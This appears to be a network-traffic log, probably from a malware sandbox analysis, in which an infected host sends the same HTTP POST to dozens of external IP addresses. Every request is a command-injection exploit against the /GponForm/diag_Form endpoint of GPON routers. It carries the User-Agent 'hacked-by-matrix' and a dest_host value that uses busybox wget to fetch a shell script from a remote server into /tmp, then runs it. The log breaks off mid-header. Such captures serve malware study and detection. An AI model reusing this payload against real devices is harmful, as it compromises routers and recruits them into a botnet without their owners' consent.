Mar 21, 2024 05:23:17.709450006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.13	56640	212.119.232.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709474087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.13	45758	5.165.111.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709486008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.13	47156	118.250.156.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709505081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.13	49146	118.167.231.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709525108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.13	44362	42.188.135.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709562063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.13	45418	109.140.11.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709579945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.13	41592	5.51.128.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709618092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.13	46804	109.181.186.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709633112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.13	53994	118.181.175.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709651947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.13	44026	5.31.134.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709680080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.13	46186	118.98.221.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709741116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.13	38920	109.30.97.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709752083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.13	59670	42.78.244.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709759951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.13	39986	42.196.18.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709784031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.13	36400	42.181.6.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709795952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.13	48426	5.173.62.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709849119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.13	55278	212.85.133.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709888935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.13	50222	118.152.24.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709924936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.13	57126	109.25.24.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712619066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.13	47734	5.160.39.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712650061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.13	59746	109.13.248.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712732077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.13	48680	118.134.161.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712740898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.13	45244	5.39.125.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712766886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.13	45910	212.244.102.249	443

Timestamp	Bytes transferred	Direction	Data
